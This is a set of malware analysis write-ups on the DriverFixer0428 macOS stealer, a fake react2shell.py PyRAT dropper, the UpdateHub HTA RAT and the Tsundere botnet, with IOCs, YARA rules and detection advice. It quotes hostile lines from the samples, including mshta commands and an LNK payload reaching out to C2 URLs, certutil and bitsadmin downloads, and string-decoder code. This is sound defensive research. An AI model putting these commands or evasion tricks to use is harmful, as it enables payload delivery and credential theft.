• Medium Priority: Monitor connections to 172.67.168.79 (but note many false positives possible)
• High Priority: Flag minimal data transfers (<500 bytes) to Cloudflare followed by immediate termination
Host-Based Detection
• Monitor for unsigned macOS binaries larger than 50MB in user directories
• Alert on Node.js processes spawned from non-standard locations (~/Downloads, /tmp)
• Detect access attempts to ~/.ssh/, ~/.aws/, ~/.npmrc from unexpected processes
• Monitor for rapid sequential file access patterns across multiple credential directories
Recommendations
Immediate Actions
• Block freeipapi.com at DNS level (high confidence indicator)
• Search logs for historical connections matching the behavioral pattern
• Audit all macOS systems for unsigned binaries > 50MB
• Verify integrity of developer credential files on all systems
Long-Term Mitigations
• Require code signing for all macOS executables
• Implement credential management solutions (1Password, HashiCorp Vault) instead of plaintext files
• Deploy EDR on all developer workstations with behavioral monitoring
• Establish network monitoring for geolocation API abuse patterns
• Conduct security awareness training on fake recruitment and developer targeting
Conclusion
This analysis provides comprehensive technical evidence of sophisticated state-sponsored malware targeting macOS developers in the cryptocurrency industry. The combination of V8 snapshot obfuscation (zero malicious indicators in 134,612 extracted strings), dynamic debugging artifacts showing runtime domain construction at memory address 0x6000022ebcb0, and network forensics documenting the complete 1 minute 56 second attack timeline establishes the technical sophistication characteristic of nation-state operations.
Attribution to North Korean state-sponsored actors (Lazarus Group) is based primarily on distinctive technical and operational characteristics - particularly the V8 snapshot obfuscation technique, specific developer credential targeting profile, and multi-stage profiling methodology - rather than infrastructure alone. The use of Cloudflare provides no attribution value as it is used globally by all threat actors.
The malware's 371-byte encrypted beacon and clean operational security when no credentials were found demonstrate professional tradecraft prioritizing long-term operations over individual infection success. Organizations employing cryptocurrency and blockchain developers should implement the recommended detection measures focusing on behavioral patterns rather than infrastructure-based indicators.
Additional threat intelligence correlation, particularly identification of the C2 domain name and SSL certificate analysis, would strengthen attribution confidence. The ongoing nature of North Korean cryptocurrency targeting operations ensures continued threat to this community.
DriverFixer0428 macOS Credential Stealer
Executive Summary
This report documents the comprehensive static and dynamic analysis of a macOS credential stealer identified as DriverFixer0428, attributed with high confidence to North Korea's Contagious Interview campaign. The malware masquerades as a legitimate system utility and harvests user credentials through sophisticated social engineering dialogs that impersonate macOS system prompts and Google Chrome permission requests. Stolen credentials are exfiltrated to attacker-controlled infrastructure via Dropbox's cloud storage API.
Dynamic analysis using LLDB debugger revealed multi-layer sandbox evasion capabilities, including VM detection through runtime API checks (sysctlbyname, IOKit, NSScreen) that prevented payload execution in virtualized analysis environments. The malware demonstrates operational security consistent with nation-state threat actors, utilizing legitimate cloud services for command-and-control to evade network-based detection.
Sample Naming Rationale
The sample name "DriverFixer0428" is derived from internal identifiers embedded in the compiled binary by the malware developers. These artifacts were extracted during static analysis:
$ strings DriverFixer | grep -i driverfixer
DriverFixer0428
_TtC15DriverFixer042814ViewController
_TtC15DriverFixer042811AppDelegate
DriverFixer0428.OverlayWindowController
DriverFixer0428/ViewController.swift
The "0428" suffix likely indicates either a build date (April 28th) or an internal version/variant number used by the threat actors to track different builds within their development pipeline.
Sample Identification
SHA-256
9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5
File Type
Mach-O universal binary (x86_64 + ARM64)
Language
Swift / AppKit
Size
234,752 bytes (235 KB)
Bundle ID
chrome.DriverFixer0428
Source Path
DriverFixer0428/ViewController.swift
Attribution Analysis
Assessment
Campaign: Contagious Interview (DPRK/North Korea)
Confidence: Medium-High
Related Families: FlexibleFerret, FrostyFerret, ChromeUpdate, CameraAccess
Attribution Basis
Attribution is based on TTP correlation with publicly documented DPRK campaigns. The specific sample hash was not found in public threat intelligence repositories, suggesting this may be a previously unreported variant.
Network Infrastructure Match
The sample's network indicators exactly match those documented by SentinelOne in their FlexibleFerret analysis (February 2025):
# From SentinelOne FlexibleFerret Report:
21 3.__TEXT.__cstring ascii https://api.ipify.org
39 3.__TEXT.__cstring ascii https://api.dropboxapi.com/oauth2/token
45 3.__TEXT.__cstring ascii https://content.dropboxapi.com/2/files/upload
# From DriverFixer0428 (This Sample):
0x100007370: "https://api.ipify.org"
0x100007460: "https://api.dropboxapi.com/oauth2/token"
0x100007580: "https://content.dropboxapi.com/2/files/upload"
Evidence Summary
Public Threat Intelligence References
SentinelOne: "macOS FlexibleFerret | Further Variants of DPRK Malware Family Unearthed" (February 2025)
Jamf: "FlexibleFerret: macOS Malware Deploys in Fake Job Scams" (November 2025)
NVISO: "Contagious Interview Actors Now Utilize JSON Storage Services" (November 2025)
Sample Identification
SHA-256
9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5
File Type
Mach-O universal binary (x86_64 + ARM64)
Language
Swift / AppKit
Size
234,752 bytes (235 KB)
Bundle ID
chrome.DriverFixer0428
Source Path
DriverFixer0428/ViewController.swift
Technical Analysis
Malware Capabilities
1. Credential Harvesting via Social Engineering
The malware displays convincing fake dialogs designed to trick users into entering their macOS system password. Memory analysis via LLDB extracted the following social engineering strings:
(lldb) x/50s 0x100007680
0x100007680: "Installer wants to make changes."
0x1000076b0: "Enter your password to allow this."
0x1000076e0: "\"Google Chrome\" wants to access your camera"
0x100007710: "After granting Chrome access, websites can ask
to use your camera."
0x1000075f0: "Incorrect password. Please re-enter your password."
0x100007630: "Please enter your password. The password field
The malware uses an OverlayWindowController class to create fullscreen overlay windows, preventing users from interacting with other applications until they provide credentials.
2. Network C2 Infrastructure
Memory analysis revealed the complete network infrastructure used for reconnaissance and exfiltration:
(lldb) memory find -s "ipify" 0x100000000 0x100010000
data found at location: 0x10000737c
0x10000737c: 69 70 69 66 79 2e 6f 72 67 ipify.org
(lldb) memory find -s "dropbox" 0x100000000 0x100010000
data found at location: 0x10000746c
0x10000746c: 64 72 6f 70 62 6f 78 61 70 69 dropboxapi.com/oauth2/token
(lldb) x/30s 0x100007500
0x100007520: "New access token: "
0x100007540: "Error refreshing access token: "
0x100007580: "https://content.dropboxapi.com/2/files/upload"
0x1000075b0: "application/octet-stream"
3. Dropbox Upload Function (Disassembly)
LLDB disassembly of symbol269 revealed the Dropbox API upload implementation, showing construction of HTTP headers and OAuth tokens:
(lldb) dis -s 0x100004374 -c 40
DriverFixer`___lldb_unnamed_symbol269:
0x1000044ac: add x8, x8, #0x580 ; "https://content.dropboxapi.com/2/files/upload"
0x100004520: mov w0, #0x4f50 ; 'PO' (POST)
0x100004524: movk w0, #0x5453, lsl #16 ; 'ST'
0x100004530: bl Foundation.URLRequest.httpMethod.setter
0x100004534: mov x8, #0x6542 ; 'Be' (Bearer)
0x100004538: movk x8, #0x7261, lsl #16 ; 'ar'
0x10000453c: movk x8, #0x7265, lsl #32 ; 'er'
0x100004560: mov x2, #0x7541 ; 'Au' (Authorization)
0x100004564: movk x2, #0x6874, lsl #16 ; 'th'
0x100004588: bl Foundation.URLRequest.setValue(forHTTPHeaderField:)
Dynamic Analysis: VM Detection Mechanism
LLDB debugging sessions confirmed the malware employs runtime API checks for VM detection rather than static string comparisons. This sophisticated evasion technique queries system APIs during execution to identify virtualized environments.
sysctlbyname API Calls
Breakpoints on sysctlbyname captured the following system queries during malware initialization:
(lldb) br set -n "sysctlbyname"
(lldb) run
Process stopped at breakpoint - sysctlbyname
(lldb) x/s $x0
0x19be880d7: "kern.osvariant_status"
(lldb) c
(lldb) x/s $x0
0x1980b3847: "kern.osproductversion"
(lldb) c
(lldb) x/s $x0
0x19828a730: "kern.secure_kernel"
IOKit Registry Queries
IORegistryEntryCreateCFProperty breakpoints revealed hardware property queries used for environment fingerprinting:
(lldb) br set -n "IORegistryEntryCreateCFProperty"
(lldb) c
Process stopped at breakpoint - IORegistryEntryCreateCFProperty
(lldb) po $x1
product-id
(lldb) c
(lldb) po $x1
housing-color
(lldb) c
(lldb) po $x1
IORegistryEntryPropertyKeys
NSScreen Detection Vector
Binary analysis confirmed NSScreen API usage for display-based VM detection:
$ strings DriverFixer | grep -i screen
applicationDidChangeScreenParameters:
mainScreen
$ nm DriverFixer | grep -i screen
U _OBJC_CLASS_$_NSScreen
On Apple Silicon VMs, NSScreen returns identifying information such as "Apple Virtual" display names and VirtualMac2,1 model identifiers that the malware uses to detect analysis environments.
Silent Failure Behavior
When VM detection succeeds, the malware enters an idle event loop without executing its payload. The process remains alive but dormant:
(lldb) process interrupt
(lldb) bt
* thread #1, queue = 'com.apple.main-thread'
frame #0: libsystem_kernel.dylib`mach_msg2_trap + 8
frame #4: CoreFoundation`__CFRunLoopServiceMachPort + 160
frame #5: CoreFoundation`__CFRunLoopRun + 1208
frame #12: AppKit`-[NSApplication run] + 480
frame #13: AppKit`NSApplicationMain + 880
frame #14: DriverFixer`___lldb_unnamed_symbol295 + 36
Sandbox Evasion Summary
Environment
Behavior
Detection Mechanism
Triage Sandbox
Score 4/10 (benign)
Silent evasion - no malicious activity
Apple VM (ARM64)
Idle event loop
sysctlbyname, IOKit, NSScreen APIs
Rosetta (x86_64)
SIGILL crash
Anti-emulation trap instructions
Env Tampering
SIGTRAP crash
Environment variable validation
Binary Structure
LLDB symbol analysis identified 153 functions within the malware. Key symbols include:
(lldb) image lookup -r -n ".*" DriverFixer
153 matches found in DriverFixer:
0x100002ca4: ___lldb_unnamed_symbol229 (1456 bytes) - OAuth token refresh
0x100004374: ___lldb_unnamed_symbol269 (1428 bytes) - Dropbox upload
0x100004bf0: ___lldb_unnamed_symbol295 - Entry point (NSApplicationMain)
(lldb) x/50s 0x100007760
0x100007760: "DriverFixer0428.OverlayWindowController"
0x100007810: "_TtC15DriverFixer042811AppDelegate"
0x1000077a0: "DriverFixer0428/ViewController.swift"
Indicators of Compromise (IOCs)
File Indicators
Type
Value
SHA-256
9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5
Bundle ID
chrome.DriverFixer0428
Network Indicators
Purpose
URL / Domain
IP Recon
https://api.ipify.org
OAuth Token
https://api.dropboxapi.com/oauth2/token
Exfiltration
https://content.dropboxapi.com/2/files/upload
Memory Forensics (LLDB Extraction)
Address
String Evidence
0x100007680
Installer wants to make changes.
0x1000076e0
"Google Chrome" wants to access your camera
0x100007370
https://api.ipify.org
0x100007460
https://api.dropboxapi.com/oauth2/token
0x100007760
DriverFixer0428.OverlayWindowController
MITRE ATT&CK Mapping
Tactic
Technique
Description
Credential Access
T1056.002 GUI Input Capture
Fake dialog captures credentials
Defense Evasion
T1497.001 System Checks
VM detection via sysctlbyname, IOKit
Defense Evasion
T1036.005 Masquerading
Impersonates macOS/Chrome dialogs
Discovery
T1016 System Network Config
Public IP via ipify.org
Exfiltration
T1567.002 Exfil to Cloud
Dropbox API exfiltration
Detection
YARA Rule
rule MacOS_Infostealer_DriverFixer0428 {
meta:
description = "DPRK DriverFixer credential stealer"
author = "Threat Intelligence Team"
threat_actor = "DPRK/Contagious Interview"
strings:
$class1 = "DriverFixer0428" ascii
$class2 = "OverlayWindowController" ascii
$net1 = "api.dropboxapi.com" ascii
$net2 = "content.dropboxapi.com" ascii
$net3 = "api.ipify.org" ascii
$se1 = "Installer wants to make changes" ascii
$se2 = "wants to access your camera" ascii
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or
uint32(0) == 0xcafebabe) and
(any of ($class*)) and (2 of ($net*)) and (any of ($se*))}
Conclusion
DriverFixer0428 represents a sophisticated macOS credential stealer attributed to North Korea's Contagious Interview campaign. LLDB dynamic analysis confirmed the malware employs multi-layer sandbox evasion through runtime API checks including sysctlbyname, IOKit registry queries, and NSScreen display detection.
The stark discrepancy between static analysis indicators (clearly malicious code) and dynamic sandbox scores (4/10 "likely benign") underscores why automated sandbox verdicts alone are insufficient for this threat actor's tooling. The malware's silent failure mode - remaining alive but dormant when detecting analysis environments - represents production-grade operational security consistent with nation-state capabilities.
PyRat, but disguised as a Fake React2Shell.py
It all begins with an idea.
I have more of a blog coming but I did find two examples of PyRAT this weekend. One was masquerading as an OSINT tool, with only error messages and no OSINT functionality, hiding its real purpose as a RAT and loading an HTA in memory to drop more malicious binaires.
The second one I looked at is within a script that I origally thought was a react2shell python exploit but is more of a scanner, although it lacks the ability to actually scan. I actually have a video showing that even if it fails on an errror (like in my demo) or if you execute the help menu “python3 react2shell.py —help”, it still executes mshta and reaches out for the HTA Dropper.
Here are some of the code segments that return error messages, which helps the disguise distract the user while the mshta process executes in the background:
And heres another:
At the top of the code, you can see why the RAT executes with or without successful execution of the script, whether its an error or just executing the help menu, which is pretty typical of testers to do before they add all of the operators for the script execution:
So to break this down, this code block below creates the function to execute the HTTP GET Request, which naturally executes mshta.exe to execute the GET, mshta.exe doesn’t have to be defined, it’s just the LOLBIN that executes it by default:
And there is a main() function after all of the scanning functions are defined, but not until line 432:
The execution happens long before this.
The execution starts right after the function for the GET request is defined:
So once again, this is the functionality of the GET request, the beginning of the Malware chain, it loads a HTA Dropper that then drops an implant or implants and likely the Rhadamanthys Stealer,as has been observed before.
To summarize, here are the conditions where the GET Request, essentially the malware part of this script executes, some of these options could cause additional attack chains:
The function is called immediately when Python parses the file, which happens:
- When you run python react2shell.py (before main() ever runs)
- When you run python react2shell.py --help
- When you “import react2shell” from another script
- Even if you just try to syntax-check it with some tools
And here is the Execution Order:
1. Python loads file
2. Parses imports (lines 3-13)
3. Defines _initialize_runtime_environment (lines 15-23)
4. EXECUTES _initialize_runtime_environment() (line 24) = BACKDOOR FIRES
5. Continues parsing rest of file...
6. Eventually reaches main() if run directly
References:
https://www.morphisec.com/blog/pystorerat-a-new-ai-driven-supply-chain-malware-campaign-targeting-it-osint-professionals/
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys
Announcing “UpdateHub RAT”
It all begins with an idea.
1. Executive Summary
This report documents the analysis of a sophisticated HTML Application (HTA) malware sample designed for cryptocurrency wallet theft and corporate network reconnaissance. The malware employs advanced obfuscation techniques, establishes persistence via Windows Task Scheduler, and communicates with command-and-control (C2) infrastructure using custom-encrypted HTTP traffic.
Key Findings:
Primary targets: Ledger, Trezor, Atomic, Exodus, Guarda, KeepKey, and BitBox02 cryptocurrency wallets
Extensive Active Directory reconnaissance capabilities indicate corporate environment targeting
USB spreading functionality via malicious LNK file replacement
CrowdStrike Falcon detection with execution method modification
C2 dependency: malware requires live C2 server to execute (anti-analysis)
2. Sample Information
Summary of Sample Information
3. Obfuscation Analysis
The malware employs two XOR-based string decoders to hide operational strings from static analysis.
3.1 Primary Decoder (_dgaily)
Decodes the HTA application configuration used to hide the execution window:
Algorithm: XOR with rolling key (index * 137 + 140) & 0xFF
Output: <HTA:APPLICATION BORDER=’none’ SHOWINTASKBAR=’no’ SYSMENU=’no’ WINDOWSTATE=’minimized’>
3.2 Secondary Decoder (_dd7j5a)
Decodes all 271 operational strings including COM objects, WMI queries, file paths, and C2 endpoints.
Algorithm: XOR with rolling key (index * 107 + 218) & 0xFF
4. Command & Control Infrastructure
4.1 C2 Domain Pattern
The malware iterates through 11 C2 domain variants with failover capability:
https://s{i}-updatehub.cc where {i} = 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, (empty)
4.3 Communication Encryption
Request body encrypted with 6-digit random XOR key prepended to payload
Custom Base64 encoding with UTF-16LE conversion
Response uses same XOR + Base64 scheme
JWT token-based authentication (Authorization: Bearer {jwt})
This RAT won’t continue full execution without reaching and then authenticating with the C2 Server
Authentication Required for Contnued Execution
Without Network Authentication with the C2, the furtherst the execution gets is mshta.exe executing the hta and enumeration of the system, but none of the post intial execution beyond that occurs. I tried setting up a fake C2 that could catch the request from the RAT but I can’t or didnt want to spend the time trying to set up the authentication parameters, and since I have the code, the code review provides all I need.
5. Cryptocurrency Wallet Targeting
The malware specifically checks for the presence of popular cryptocurrency wallet applications:
Detection results are transmitted to C2 via ledger=true/false and wallets=true/false parameters in the registration beacon.
6. Persistence Mechanism
The malware establishes persistence via Windows Task Scheduler, masquerading as a legitimate Google Update task.
6.1 Scheduled Task Configuration
6.2 Task Settings
StartWhenAvailable: true
DisallowStartIfOnBatteries: false
StopIfGoingOnBatteries: falWakeToRun: true
RunLevel: 1 (Highest) if admin privileges detected
7. Payload Delivery Methods
The malware employs seven different download methods with automatic fallback to ensure payload delivery success:
8. C2 Task Types
The malware supports the following task types received from the C2 server:
9. Anti-Analysis Techniques
9.1 C2 Dependency (Primary Blocker)
The malware requires a live C2 server to execute any malicious functionality. It iterates through all 11 C2 domain variants and exits silently if none respond with ‘success’. This effectively prevents dynamic analysis in isolated environments.
9.2 Self-Deletion
The zonexi() function deletes the HTA file immediately upon execution using Scripting.FileSystemObject.DeleteFile().
Before execution:
.hta file present before execution “a7ef…”
After Executing UpdateHub RAT:
.hta file is removed, self deletion
9.3 Security Product Detection
When CrowdStrike Falcon is detected, the malware modifies its execution method to use a cmd.exe wrapper: cmd.exe /c start “” /b mshta.exe {url}
9.4 Additional Techniques
Window Hiding: HTA configured with hidden window, plus window.resizeTo(0,0) and window.moveTo(-10000,-10000)
Silent Failures: All code wrapped in try/catch blocks to swallow errors
Admin Detection: Checks HKLM\SECURITY access via StdRegProv.GetSecurityDescriptor
Auto-Close: window.close() called at end of execution
10. USB Spreading Mechanism
Task Type 9 implements USB spreading functionality that targets removable drives.
10.1 Target File Types
.exe, .docx, .pdf, .doc
10.2 Infection Process
Enumerate removable drives (USB, external) via WMI Win32_DiskDrive
Scan for target file types (depth limited to 2 directories)
Hide original files by setting hidden attribute
Create .lnk shortcuts with same base name
Shortcut executes: cmd.exe /c start “” “.\{original}” & start “” mshta “{C2_URL}”
11. Active Directory Reconnaissance
Task Type 5 triggers comprehensive AD reconnaissance, indicating corporate environment targeting:
11.1 Information Collected
11.2 Enumeration Methods
WMI: Win32_ComputerSystem, Win32_NTDomain, Win32_Group, Win32_GroupUser
ADSI: AdsNameSpaces COM object with WinNT:// provider
Environment: LOGONSERVER variable for DC identification
12. Indicators of Compromise (IOCs)
12.1 Network Indicators
https://s[1-10]-updatehub.cc (C2 domains)
https://s-updatehub.cc (C2 domain, no number)
HTTP POST requests with 6-digit prefix + Base64 encoded body
12.2 File System Indicators
%userprofile%\*.exe (downloaded payloads)
%TEMP%\{random9}.txt (command output)
.lnk files replacing documents on USB drives
12.3 Scheduled Tasks
GoogleTaskSystem136.0.7023.12{GUID}
GoogleUpdaterTaskSystem136.1.7023.12{GUID}
12.4 Process Artifacts
mshta.exe spawning cmd.exe, powershell.exe
powershell.exe -ep Bypass -nop
bitsadmin.exe /transfer
certutil.exe -urlcache
rundll32.exe for DLL execution
13. MITRE ATT&CK Mapping
14. Detection Recommendations
14.1 Network Detection
Block/monitor DNS queries and HTTP traffic to *-updatehub.cc domains
Alert on HTTP POST requests with 6-digit numeric prefix in body
Monitor for mshta.exe making external HTTP connections
14.2 Endpoint Detection
Monitor mshta.exe spawning cmd.exe, powershell.exe, or network-related processes
Alert on scheduled task creation with “Google” in name but non-Google executable paths
Detect WMI queries to SecurityCenter2 from scripting hosts
Monitor certutil.exe and bitsadmin.exe used for file downloads
Alert on mass file attribute changes on removable drives
Monitor for LNK file creation alongside hidden files on USB drives
14.3 YARA Detection Strings
$hta1 = “HTA:APPLICATION” ascii $sched1 = “Schedule.Service” ascii $sched2 = “GoogleTaskSystem136” ascii $crypto1 = “Ledger Live” ascii $crypto2 = “@trezor” ascii $wmi1 = “SecurityCenter2” ascii $wmi2 = “Win32_NTDomain” ascii $adsi1 = “WinNT://” ascii
15. Attribution
I used Claude to help verify that I could not find an existing matching Malware Family. Critique and Discussion are appreciated! I dont want to falsely believe I’ve found something new and I try to be very data-driven, reach out if you disagree.
UpdateHub HTA RAT — Malware Family Comparison Analysis
Executive Summary
Based on extensive research, the UpdateHub HTA RAT appears to be a previously unreported or newly emerged malware family. While it shares TTPs with several known threats, it has unique characteristics that distinguish it from existing documented campaigns.
Similar Malware Families Identified
1. Aggah Campaign / Gorgon Group (HIGHEST SIMILARITY)
Similarity Score: 75%
Assessment: The infection chain is very similar to Aggah, but UpdateHub uses custom C2 infrastructure instead of legitimate services and has USB worm capabilities not seen in Aggah.
2. Spora / Gamarue / RETADUP (USB WORM COMPONENT)
Similarity Score: 60%
Assessment: The USB worm technique is nearly identical to Spora/Gamarue’s LNK spreading method, suggesting the author copied this proven technique.
3. KimJongRAT / BabyShark (KOREAN APT)
Similarity Score: 55%
Assessment: Similar focus on crypto wallets and HTA infection chain, but KimJongRAT is attributed to North Korean actors with different infrastructure patterns.
4. StilachiRAT (Microsoft-documented)
Similarity Score: 50%
Assessment: Similar crypto-stealing objectives but completely different codebase and delivery mechanism.
5. Nova Stealer / Odyssey Stealer (macOS Focus)
Similarity Score: 40%
Assessment: Different platform but similar targeting of hardware wallet users.
Unique Characteristics of UpdateHub RAT
These features distinguish UpdateHub from known families:
1. C2 Domain Failover Pattern
s10-updatehub.cc → s9-updatehub.cc → … → s-updatehub.cc
This numbered failover pattern is not commonly seen in documented malware.
2. Fake Google Update Task Names
GoogleTaskSystem136.0.7023.12{GUID}
GoogleUpdaterTaskSystem136.1.7023.12{GUID}
The specific version numbers (136.0.7023.12) appear unique to this family.
3. XOR Encoding with Multiplier
var tetorY = v31af8 * 107 + 218 & 255;
coreve769 += String.fromCharCode(testackS[v31af8] ^ tetorY);
This specific XOR pattern with position-based key generation is distinctive.
4. Combined Capabilities
No other documented family combines ALL of:
HTA-based delivery
USB LNK worm spreading
Crypto wallet detection (hardware wallets)
Extensive AD reconnaissance
CrowdStrike Falcon evasion
Custom XOR-encrypted C2 protocol
5. JWT-Based Authentication
The use of JWT tokens for C2 session authentication is relatively sophisticated for HTA-based malware.
Attribution Assessment
Possible Origins:
Cybercriminal Operation (Most Likely)
Financially motivated (crypto wallet focus)
Uses commodity techniques (copied USB worm code)
Brazilian C2 infrastructure hint (meusitehostgator.com.br in first sample)
No nation-state indicators
Evolution of Aggah/Gorgon Tools
Similar infection chain
Could be same actors with new infrastructure
Different final payload suggests possible code sharing
Commercial Malware-as-a-Service
Version numbering suggests ongoing development (v3.3)
Multiple download fallbacks suggest testing
Task-based modular design
YARA Rule Matching Results
Rules vs Known Families:
The generic rule would also match Aggah and KimJongRAT samples. The detailed rule is specific to UpdateHub and should not false-positive on other families.
Recommendations for Hunting
Search Terms for Existing Intel:
VirusTotal Intelligence:
content:”updatehub” OR content:”GoogleTaskSystem136" OR
content:”PT30M” AND content:”P3650D” AND content:”Schedule.Service”MalwareBazaar:
Tag: hta, crypto-stealer, usb-worm
Signature: Scheduled task with “Google” impersonation
MISP/OpenCTI:
Search for C2: *-updatehub.cc
Search for similar HWID patterns
Passive DNS:
Query: s?-updatehub.cc (where ? = 0–10)
Historical resolution data may reveal infrastructure
Conclusion
UpdateHub RAT appears to be a newly documented threat that combines techniques from multiple known malware families:
Infection chain resembles Aggah campaign
USB worm copied from Spora/Gamarue techniques
Crypto targeting similar to modern stealers like KimJongRAT
Custom C2 protocol with JWT authentication is unique
The malware should be tracked as a distinct family pending discovery of direct code overlaps with known campaigns. The YARA rules provided should help identify related samples in threat intelligence platforms.
References
Unit42 — Aggah Campaign Analysis
G DATA — Spora Ransomware Worm Analysis
Unit42 — KimJongRAT Stealer Variant
Microsoft — StilachiRAT Analysis
Moonlock — Anti-Ledger Malware Campaign
HP Wolf Security — Aggah Campaign Cryptocurrency Stealer
16. Conclusion
This HTA malware represents a professionally developed multi-stage loader and infostealer with the following characteristics:
Strong Evasion: Multiple download methods, hidden execution, security product detection, C2 dependency
Corporate Targeting: Extensive AD reconnaissance suggests enterprise environment focus
Cryptocurrency Focus: Specific wallet detection for theft operations
Self-Propagation: USB spreading via LNK replacement technique
Modular Design: Task-based C2 allows flexible payload deployment
The sophistication level and feature set suggest this is likely part of a commercial malware kit or organized threat actor operation targeting both financial (cryptocurrency) and corporate assets. The C2 dependency serves as both an anti-analysis mechanism and a kill switch, preventing execution in isolated analysis environments.
Tsundere Botnet — Node.js Binary
It all begins with an idea.
The Tsundere botnet, identified by Kaspersky Global Research and Analysis Team (GReAT) in July 2025, represents a sophisticated evolution in cross-platform malware campaigns orchestrated by a Russian-speaking threat actor known as “koneko.” Initially surfacing through a 2024 npm supply-chain attack involving 287 typosquatted Node.js packages, Tsundere has matured into an actively expanding botnet primarily targeting Windows systems. Leveraging blockchain technology for command-and-control (C2) resilience, it enables dynamic execution of arbitrary JavaScript payloads, posing risks of data exfiltration, cryptocurrency theft, and further compromise.
Note: I analyzed this sample on my own, after my analysis I identified the malware as being Tsundre Botnet, based on the activity Kaspersky reported on here: The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist. I will be reviewing IOC’s and if the ones I observed are still consistent with what was previously reported.
SHA256: 16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42
This hash was initially reported yesterday, December 3, 2025, and there was no real indicators that this was malicious. Comments also reflected one person believing that this was a benign binary based on analysis from an automated sandbox.
Press enter or click to view image in full size
Sample.js
This JavaScript (JS) code is pretty heavily obfuscated. The obfuscation combines string encryption, control flow flattening, identifier mangling, and runtime decryption, making it challenging to analyze without deobfuscation tools or manual unpacking.
String Obfuscation via Custom Base64 + RC4 Decryption:
Nearly all strings (e.g., URLs, function names, console messages) are stored in encrypted arrays and decrypted at runtime using a hybrid Base64 decoder followed by an RC4 (ARC4) stream cipher. This prevents static string-based signatures (e.g., YARA rules) from triggering.
Implementation Details:
The core decoder is defined in the _0x2905 function (lines ~1–50). It initializes an RC4 key schedule using a user-provided key (_0x3495d6).
Step 1: Base64-like decoding. A mangled Base64 alphabet (‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=’) decodes input into a URI-encoded string (e.g., %XX format), then decodeURIComponent expands it.
Step 2: RC4 decryption. The decoded string is fed into an RC4 keystream generator
// Simplified pseudocode from _0x2905['SbIfNX']
for (let i = 0; i < 256; i++) sbox[i] = i; // Initialize S-box
j = 0;
for (let i = 0; i < 256; i++) {
j = (j + sbox[i] + key.charCodeAt(i % key.length)) % 256;
swap sbox[i] and sbox[j];
}
// Keystream XOR with plaintext
for (let i = 0; i < plaintext.length; i++) {
i_idx = (i + 1) % 256;
j = (j + sbox[i_idx]) % 256;
swap sbox[i_idx] and sbox[j];
k = sbox[(sbox[i_idx] + sbox[j]) % 256];
output += String.fromCharCode(plaintext.charCodeAt(i) ^ k);
}Identifier Mangling with Hexadecimal Names
All variables, functions, and properties use randomized hexadecimal prefixes (e.g., _0x2905, _0x381842, _0x4f8a99). This is generated by tools like javascript-obfuscator, renaming ~90% of identifiers to meaningless shorts.
Implementation Details:
Functions like _0x4f8a() return the string array.
Nested helpers (e.g., _0x56f881(_0x575caf — -0xf5, _0x3c7903) ) compute indices via arithmetic offsets (e.g., arg — 0x17b).
Multiple layers: Outer _0x2905, inner _0x232dae, _0x5cb090, each with its own array and offset math.
Control Flow Flattening with While-Try-Catch Loops
Linear code is “flattened” into opaque predicates — while loops that shift/rotate an array until a computed checksum matches a magic value. This disrupts disassemblers and adds anti-debugging (e.g., infinite loops if tampered).
while(!![]){ // Infinite loop
try {
const _0x1b1805 = parseInt(_0x56f881(0x238, ...)) / 1 + ...; // Compute sum of obfuscated ints
if (_0x1b1805 === _0xad14cc) break; // Magic: 0x704f6 (~458086)
else _0x596a8d['push'](_0x596a8d['shift']()); // Rotate array
} catch { _0x596a8d['push'](_0x596a8d['shift']()); }
}Multi-Layered Obfuscation and Runtime Code Execution
Obfuscation is nested (e.g., _0x2905 calls _0x232dae, which calls _0x5cb090). Dynamic new Function() executes decrypted payloads, enabling further evasion.
Implementation Details:
Layers: 4+ decoders (_0x2905, _0x232dae, _0x5cb090, _0x31de0e). Each has its own array (e.g., _0x41cd62 with 70+ hex keys).
Runtime Eval: In onMessage (lines ~600+), decrypts incoming WebSocket data, then
const _0x33324b = new Function('require', 'global', ..., decrypted_code);
_0x33324b(require, global, ...); // Executes arbitrary JSPayloads include overrides like global.serverSend for C2 callbacks.
AES Encryption: Outbound/inbound messages use AES-256-CBC (crypto module) with runtime keys/IVs (16-byte IV check).
Anti-Analysis and Evasion Techniques
Dynamic Imports: require(‘ws’), require(‘crypto’), require(‘os’), require(‘ethers’) — delays footprint.
Error Handling: Broad try-catch swallows exceptions, logging minimally
Timing/Polling: Ping-pong over WebSocket (30s interval), reconnects on failure (15s timeout).
Platform-Specific: Windows-focused (e.g., wmic queries for UUID, GPU via PowerShell). Collects sysinfo (MAC, BIOS, volume serial) hashed into UUID.
System Fingerprinting
The malware collects victim data:
Username (os.userInfo())
Hostname (os.hostname())
Platform/Architecture
CPU information
GPU information (WMI: Win32_VideoController)
MAC Address (first non-internal interface)
Total Memory
Node.js Version
Windows Edition (WMI: Win32_OperatingSystem)
Volume Serial Number (vol command)
BIOS Information (WMI: SystemBIOS)
System UUID (Registry: MachineGuid)
All data is hashed (SHA256) to create a unique userId in UUID format.
Press enter or click to view image in full size
Connections and Host Enumeration
CIS Country Kill Switch (Ukraine being an exception)
hy (Armenian)
hy-AM (Armenian — Armenia)
az (Azerbaijani)
be (Belarusian)
be-BY (Belarusian — Belarus)
kk (Kazakh)
ky (Kyrgyz)
ky-KG (Kyrgyz — Kyrgyzstan)
ru (Russian)
ru-RU (Russian — Russia)
ru-BY (Russian — Belarus)
ru-KG (Russian — Kyrgyzstan)
ru-MD (Russian — Moldova)
ru-UA (Russian — Ukraine)
tg (Tajik)
uk (Ukrainian)
uk-UA (Ukrainian — Ukraine)
uz (Uzbek)
Remote Code Exection (RCE)
When receiving a message with id=1, the malware:
1. Creates a new Function() with the received code
2. Provides access to: require, global, console
3. Executes the code in a try-catch wrapper
4. Sends results back via serverSend() callback
This allows the C2 server to push arbitrary Node.js code for execution.
Registry Queries:
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid (System UUID)
HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation\SystemBIOSVersion
